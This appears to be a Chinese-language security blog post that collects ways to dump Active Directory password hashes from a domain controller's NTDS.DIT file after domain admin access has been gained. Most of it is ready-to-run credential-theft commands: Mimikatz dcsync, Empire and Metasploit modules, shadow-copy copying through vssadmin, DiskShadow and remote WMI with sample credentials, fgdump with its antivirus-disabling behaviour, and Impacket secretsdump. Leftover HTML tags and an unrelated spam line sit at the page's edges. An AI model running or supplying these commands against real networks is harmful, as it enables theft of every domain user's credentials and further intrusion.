<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    抓取域密碼哈希的各種工具集合

    一顆小胡椒2021-08-04 08:30:00

    在拿到域管理員權限之后,都會提取所有域用戶的密碼哈希進行離線破解和分析。這些密碼哈希存儲在域控制器(NTDS.DIT)中的數據庫文件中,并包含一些附加信息,如組成員和用戶。

    NTDS.DIT 文件經常被操作系統使用,因此不能直接復制到另一個位置提取信息。此文件可在以下 Windows 目錄下找到:

    C:\Windows\NTDS\NTDS.dit:

    下面就是關于如何提取域內哈希的各種方式及相關工具。

    Mimikatz

    Mimikatz 有一個功能(dcsync),該功能使用目錄復制服務(DRS)從 NTDS.DIT 文件中檢索密碼散列。通過這種方式無需登錄域控制器進行操作,在任意一臺域內成員機上均可操作,使用命令如下:

    lsadump::dcsync /domain:pentestlab.local /all /csv

    通過使用 /user參數指定用戶名,Mimikatz 可以提取指定用戶的密碼信息:

    lsadump::dcsync /domain:pentestlab.local /user:test

    或者,直接在域控制器上執行 Mimikatz ,從進程 lsass 中提取:

    privilege::debug
    lsadump::lsa /inject

    提取的密碼信息如下:

    Empire

    PowerShell Empire 有兩個模塊可以通過 DCSync 獲取域內哈希。這兩個模塊都需要以域管理員的權限執行。該模塊依賴于 Invoke-Mimikatz PowerShell 腳本來執行與 DCSync 相關的 Mimikatz 命令。dcsync_hashdump 模塊輸出的結果與 Metasploit 的 hashdump 命令相似:

    usemodule credentials/mimikatz/dcsync_hashdump

    DCSync 模塊要求指定用戶才能提取所有帳戶信息:

    獲得的信息如下:

    Nishang

    Nishang 是一個 PowerShell 框架,Copy-VSS.ps1 腳本可用于自動提取所需文件:NTDS.DIT、SAM 和 SYSTEM,提取的文件存放于指定的目錄下,項目下載地址:

    https://github.com/samratashok/nishang

    使用命令如下:

    Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

    或者在 meterpreter 中使用:

    load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

    也可以直接在 Powershell 會話中執行:

    Copy-VSS Copy-VSS -DestinationDir C:\Ninja

    PowerSploit

    PowerSploit 包含一個 PowerShell 腳本,VolumeShadowCopyTools.ps1 使用 shadow copy 服務,創建新的卷來提取相關文件:

    Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy 

    或者在 Meterpreter 會話中使用:

    powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

    然后,文件可以通過命令從新卷中復制。

    Invoke-DCSync

    腳本下載地址:

    https://gist.github.com/monoxgas/9d238accd969550136db

    使用命令:

    Invoke-DCSync

    結果將格式化為四個表:域、用戶、ID 和 hash。然而,使用參數 -PWDumpFormat 執行可以將結果格式化為: user:id:lm:ntlm:::

    Invoke-DCSync -PWDumpFormat

    在 Meterpreter 會話中運行腳本,可以實現相同的輸出:

    使用 -PWDumpFormat 參數:

    ntdsutil

    ntdsutil 是一個命令行工具,是域控制器生態系統的一部分,其目的是使管理員能夠訪問和管理 Windows Active Directory 數據庫。利用這個可以將相關文件提取出來,進行離線提取:

    ntdsutil activate instance ntds ifm create full C:tdsutil quit quit

    生成兩個新文件夾:Active Directory 和 Registry。NTDS.DIT 文件將保存在 Active Directory 中,SAM 和 SYSTEM 文件將保存到注冊表文件夾中

    DiskShadow

    DiskShadow 是一個微軟簽名的二進制文件,用于協助管理員進行與卷影復制服務(VSS)相關的操作,將以下內容保存在 diskshadow.txt 內:

    set context persistent nowriters
    add volume c: alias someAlias
    create
    expose %someAlias% z:
    exec "cmd.exe" /c copy z:\windowstdstds.dit c:\exfiltds.dit
    delete shadows volume %someAlias%
    reset
    

    然后執行:

    diskshadow.exe /s c:\diskshadow.txt

    運行以下命令將列出系統所有可用的卷影副本:

    diskshadow LIST SHADOWS ALL

    還需保存 system 的注冊表項,因為其中保存了 NTDS 文件的解密密鑰:

    reg.exe save hklm\system c:\exfil\system.bak

    WMI

    通過 WMI 遠程提取 NTDS.DIT 和 SYSTEM 文件,需要用到 vssadmin 來創建快照:

    wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

    然后,遠程執行復制命令,將相關文件移動到指定目錄:

    wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temptds.dit 2>&1"

    這同樣適用于 SYSTEM 文件:

    wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

    然后將保存到文件移動到離線提取哈希的機器上:

    PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temptds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temp\SYSTEM.hive C:\temp

    如果已經生成了黃金票據,則可以使用 Kerberos 與域控制器進行身份驗證。

    vssadmin

    vssadmin 是一個 Windows 命令行實用程序,管理員能夠使用它備份計算機、卷和文件。Volume Shadow Copy作為服務運行,要求文件系統為 NTFS 格式。在 cmd 上執行下面的命令,制作 C 盤的卷影:

    vssadmin create shadow /for=C:

    C 盤的所有文件都已經復制到 HarddiskVolumeShadowCopy1 上,操作系統不直接使用,所以可以訪問和復制其上的任何文件。將 NTDS.DIT 和 SYSTEM 文件復制到本地名為 ShadowCopy 的新文件夾:

    copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

    這些文件需要從域控制器復制到另一個主機進行進一步處理:

    vssown

    與 vssadmin 類似,vssown 是一個 vbs 腳本,可以創建和刪除卷影副本,使用方式如下:

    cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete 

    可以使用命令復制副本中的所需文件:

    copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windowstdstds.dit C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

    Metasploit

    Metasploit 框架中可以使用下面的模塊,提取 ntds 中的相關信息:

    auxiliary/admin/smb/psexec_ntdsgrab

    還可以使用下面的模塊,直接在域控彈回的會話中執行:

    windows/gather/credentials/domain_hashdump

    或者在 meterpreter 中域控的會話直接執行 hashdump 命令,這種方式比較危險,因為容易使域控崩潰,謹慎使用:

    fgdump

    fgdump 是一個老的二進制文件,可以提取 LM 和 NTLM 密碼散列,下載地址:

    http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip

    如果已經獲得本地管理員憑據,則可以在本地或遠程執行。在執行期間,fgdump 將嘗試禁用可能在系統上運行的防病毒軟件,如果成功禁用則將結果保存在文件中,如果失敗,則不進行提取,防止被檢測,使用方法直接在域控上運行即可:

    fgdump.exe

    可以通過 .pwdump 后綴的文件來查看結果:

    type 127.0.0.1.pwdump

    NTDS 離線提取

    Impacket 是 python 腳本編寫工具框架,使用其中的 impacket-secretsdump 模塊提取 NTDS 中的密碼哈希,下載地址:

    https://github.com/CoreSecurity/impacket

    提取之前需要 SYSTEM 和 NTDS 的數據庫文件:

    impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

    此外,還可以遠程提取 NTDS 的哈希,需要使用域管賬號和哈希:

    impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

    NTDSDumpEx 二進制文件也可以從 ntds.dit 中提取哈希,下載地址:

    https://github.com/zcgonvh/NTDSDumpEx

    使用方式:

    NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

    還有一個 shell 腳本 adXtract,下載地址:

    https://github.com/LordNem/adXtract

    使用方式:

    ./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

    腳本會將不同信息存儲在不同到文件中,比如用戶信息:

    密碼散列到格式如下:

    總結

    本文整理了各種工具,以各種方式提取 NTDS 中的所有域哈希,最好的方式就是在 DCSync 和離線提取,盡量不要在域控服務器上執行過多操作,以免對目標造成可用性上的威脅。


    --- EOF ---


    推薦↓↓↓

    哈希system
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    哈希傳遞對于大多數企業或組織來說仍然是一個非常棘手的問題,這種攻擊手法經常被滲透測試人員和攻擊者們使用。當談及檢測哈希傳遞攻擊時,我首先開始研究的是先看看是否已經有其他人公布了一些通過網絡來進行檢測的可靠方法。我拜讀了一些優秀的文章,但我沒有發現可靠的方法,或者是這些方法產生了大量的誤報。 我不會在本文深入剖析哈希傳遞的歷史和工作原理,但如果你有興趣,你可以閱讀SANS發布的這篇優秀的文章——哈希
    mimikatz的這個功能從本質上是解析Windows的數據庫文件,從而獲取其中存儲的用戶哈希
    漏洞概述 AWS VPN應用程序存以 SYSTEM 身份寫入任意文件,這可能導致提權和信息泄露漏洞。該漏洞可能導致用戶的 Net-NTLMv2 哈希被VPN 配置文件中的 UNC 路徑泄露。這些漏洞已確認影響版本 2.0.0,并已在版本 3.0.0 中修復。 要修復漏洞,請升級到可在此處下載的3.0.0版本 [1]
    抓取域密碼哈希的各種工具集合。
    哈希傳遞利用了NTLM認證的缺陷,使用用戶的密碼哈希值來進行NTLM認證。推薦使用以下命令,盡量不要從內存中提取,因為內存中存放的可能是管理員修改密碼前的哈希值,導致哈希傳遞不成功。
    Pass The Hash 即哈希傳遞攻擊,簡稱 PTH
    域滲透就是基于windows域環境的滲透,而域滲透涉及到的技術,如哈希傳遞(PTH)票據傳遞(PTT)委派攻擊等,都是基于域環境下的認證機制來實現的,這也是為什么要了解Windows認證機制的原因之一Windows的認證包括三個部分,用戶直接操作計算機登陸賬戶(本地認證),遠程連接到工作組中的某個設備(網絡認證),登陸到域環境中的某個設備(域認證)
    WINDOWS認證機制 閱讀本文前需要補充的知識:域的基本概念,域環境與工作組環境的區別 何謂域滲透,域滲透就是基于windows域環境的滲透,而域滲透設計到的技術,如哈希傳遞(PTH)票據傳遞(PTT)委派攻擊等,都是基于域環境下的認證機制來實現的,這也是為什么要了解Windows認證機制的原因之一 Windows的認證包括三個部分,用戶直接操作計算機登陸賬戶(本地認證),遠程連接到工作組
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类